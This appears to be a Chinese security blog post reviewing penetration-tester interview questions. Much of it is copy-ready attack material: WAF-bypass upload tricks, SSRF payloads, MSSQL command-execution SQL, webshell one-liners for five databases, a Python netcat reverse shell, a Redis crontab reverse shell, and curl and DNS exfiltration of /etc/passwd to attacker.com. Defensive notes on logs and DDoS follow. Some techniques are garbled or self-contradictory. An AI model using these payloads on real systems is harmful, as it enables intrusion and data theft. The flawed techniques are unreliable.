网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
三、MSSQL无XP_CMDSHELL的6种拿Shell方法
某四字大厂面试复盘扩展 二面
文件上传如何绕waf SSRF的利用和绕waf的手段 谈谈MSSQL如果XPCMDSHELL不能用怎么拿shell 遇到没回显的RCE怎么办 不能用SQLMAP的OS-SHELL,各种数据库如何写SHELL 给你一个比较大的日志,应该如何分析 redis未授权会导致哪些问题 讲讲SYN FLOOD原理,防御,检测手段 讲讲UDP反射放大的原理,防御,检测手段
一、文件上传绕过WAF的15种深度技巧
- 内容检测绕过
- 文件头伪造:在恶意文件前添加合法文件头(如
GIF89a
),绕过魔术数字检测。- 多文件合并:将WebShell嵌入图片尾部,利用PHP的
include
函数包含执行。- 分块编码(Transfer-Encoding: chunked):拆解恶意代码为多个块,绕过正则匹配。
- 扩展名混淆
- 大小写变形:上传
.PhP
或.Jsp%20
(空格截断)。- 双重扩展名:
shell.jpg.php
(部分WAF仅检测最后一个扩展名)。- 空字节注入:
shell.php%00.jpg
(PHP 5.3前版本有效)。- MIME类型伪造
- 修改Content-Type:上传PHP文件时声明为
image/jpeg
。- 多部分表单混淆:在
multipart/form-data
中插入多个文件段干扰解析。- 协议层绕过
- HTTP/2流复用:利用多路传输特性绕过内容扫描。
- 分片传输(Teardrop攻击):发送重叠的TCP分片导致WAF重组错误。
- 高级混淆技术
- Unicode编码文件名:
shell.%u0070hp
(部分WAF解码不一致)。- 动态参数化:通过JSON/XML传递文件内容,绕过表单字段检测。
- HTTPS加密传输:部分WAF无法解密TLS流量进行深度检测。
二、SSRF利用与WAF绕过的8种高阶手法
- 协议滥用
- Gopher协议:构造HTTP请求攻击内网服务(如Redis未授权写SSH密钥)。
- Dict协议:探测内网端口开放状态(
dict://127.0.0.1:6379/info
)。- IP表示形式绕过
- 十进制IP:
2130706433
→127.0.0.1
。- IPv6缩写:
[::]
等价于127.0.0.1
。- 域名重解析:利用
xip.io
(如127.0.0.1.xip.io
)。- DNS重绑定攻击
- 短TTL域名:配置DNS记录在两次查询中返回不同IP(首次合法,第二次内网IP)。
- 多级CNAME:通过多次跳转绕过域名黑名单检测。
- URL编码与变形
- 双重编码:
%252F
→%2F
→/
。- 利用#号:
http://attacker.com#@10.0.0.1
(部分解析库忽略#后内容)。- 云服务元数据利用
- AWS IMDSv1绕过:通过
X-Forwarded-For
头欺骗元数据服务(已修复,需IMDSv2)。- Kubernetes API:通过
/var/run/secrets/kubernetes.io/serviceaccount/token
获取Pod权限。
三、MSSQL无XP_CMDSHELL的6种拿Shell方法
- CLR集成利用
- 编译C#执行命令的DLL,通过
CREATE ASSEMBLY
加载并调用:sql
CREATE ASSEMBLY ExecCMD FROM 'C:\temp\cmd.dll'; CREATE PROCEDURE sp_cmd @cmd NVARCHAR(255) AS EXTERNAL NAME ExecCMD.StoredProcedures.CmdExec; EXEC sp_cmd 'whoami';
- OLE自动化过程
- 启用
Ole Automation Procedures
,通过sp_OACreate
执行命令:sql
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; DECLARE @shell INT; EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami';
- Python/R脚本扩展
- 启用外部脚本功能,执行Python反弹Shell:
sql
EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("nc -e /bin/sh 10.0.0.1 4444")';
- 数据库错误信息外带
- 通过错误回显获取命令结果:
sql
BEGIN TRY DECLARE @var NVARCHAR(100) = (SELECT 'whoami' + 1); END TRY BEGIN CATCH SELECT ERROR_MESSAGE(); -- 返回 'whoami'命令结果 END CATCH
- 日志文件写入WebShell
- 利用MSSQL的
xp_dirtree
或xp_subdirs
写入文件:sql
EXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^<% System.Diagnostics.Process.Start("cmd.exe"); %> > C:\inetpub\wwwroot\shell.aspx';
四、无回显RCE的5种数据外带技术
- DNS外带
- Linux:
dig $(whoami).attacker.com
- Windows:
nslookup %USERNAME%.attacker.com
- HTTP请求外带
- 通过curl/wget发送数据到外部服务器:
bash
curl http://attacker.com/$(cat /etc/passwd | base64)
- 时间盲注
- 利用命令执行延时判断结果:
bash
if [ $(whoami) = "root" ]; then sleep 10; fi
- 文件写入+读取组合
- 将结果写入临时文件,再通过其他漏洞读取:
bash
whoami > /tmp/result.txt && python -m SimpleHTTPServer 8000
- ICMP隧道
- 使用工具如
icmpsh
将数据封装在ICMP包中传输:bash
./icmpsh_m.py attacker 受害者IP
五、数据库写Shell的跨平台方法
数据库类型 写Shell命令 利用条件 MySQL SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php';
需要 FILE
权限和secure_file_priv为空PostgreSQL COPY (SELECT '<?php system($_GET[cmd]);?>') TO '/var/www/shell.php';
需要超级用户权限 Oracle UTL_FILE.PUT_TEXT('WEB_DIR', 'shell.jsp', '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');
需预先配置目录对象 MSSQL EXEC xp_cmdshell 'echo ^<^%^ @Language="JScript" %^>^ <% eval(Request.Item["cmd"]) ^%^> > C:\inetpub\wwwroot\cmd.aspx';
需启用xp_cmdshell SQLite 通过ATTACH DATABASE写入Web目录: ATTACH DATABASE '/var/www/shell.php' AS evil;
需Web目录可写
六、大型日志分析的7个关键步骤
- 高频IP筛选
- 使用
awk '{print $1}' access.log | sort | uniq -c | sort -nr
统计可疑IP。- 状态码分析
- 过滤
404
(扫描器特征)和5xx
(潜在攻击成功)。- User-Agent检测
- 搜索非常规UA(如
sqlmap
、nmap
)。- 敏感路径监控
- 检查
/admin
、/wp-login.php
等路径的异常访问。- 攻击特征匹配
- 使用正则匹配
/etc/passwd
、union select
等关键字。- 会话关联分析
- 通过
sessionid
或IP关联多次请求,识别扫描行为。- 时间序列异常
- 分析突发流量(如1分钟内1000次请求)可能为CC攻击。
七、Redis未授权的5大渗透场景
- 数据泄露
- 通过
keys *
遍历所有键,获取敏感信息。- SSH密钥写入
- 利用
config set dir
和config set dbfilename
覆盖authorized_keys
。- 主从复制RCE
- 设置恶意主节点,同步
.so
模块实现代码执行。- Crontab任务注入
- 写入定时任务反弹Shell:
bash
config set dir /var/spool/cron/crontabs/ set -e "\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"
- 内网代理
- 通过Redis的
SLAVEOF
命令将节点作为流量中转。
八、SYN FLOOD攻击的防御与检测
- 攻击原理
- 发送大量伪造源IP的SYN包,耗尽服务器半连接队列。
- 防御手段
- SYN Cookie:无状态处理SYN请求,仅在ACK验证后分配资源。
- 首包丢弃:随机丢弃部分SYN包,迫使攻击者重传消耗资源。
- 限速策略:通过iptables限制单个IP的SYN速率:
bash
iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
- 检测方法
- netstat统计:
netstat -n | grep SYN_RECV | wc -l
- 流量分析:监控SYN包与ACK包的比例异常(正常约为1:1)。
九、UDP反射放大的攻防全景
- 攻击原理
- 利用UDP协议无连接特性,伪造受害者IP向开放服务(如NTP、DNS)发送请求,触发远大于请求的数据包(放大倍数可达500倍)。
- 常见反射源
- NTP(Monlist):
monlist
请求返回600字节,放大倍数200x。- DNS(ANY查询):返回包含所有记录的响应包。
- Memcached:通过
get
请求触发大体积数据返回(曾导致1.7Tbps攻击)。- 防御策略
- 关闭无用UDP服务:禁用NTP的
monlist
功能。- 入口过滤(BCP38):ISP端配置ACL阻止伪造IP流量。
- 限速与黑洞:在边界路由器对异常流量实施限速或黑洞路由。
- 检测技术
- 流量基线对比:识别短时间内UDP流量突增。
- 源端口分析:反射攻击通常使用固定源端口(如NTP的123端口)。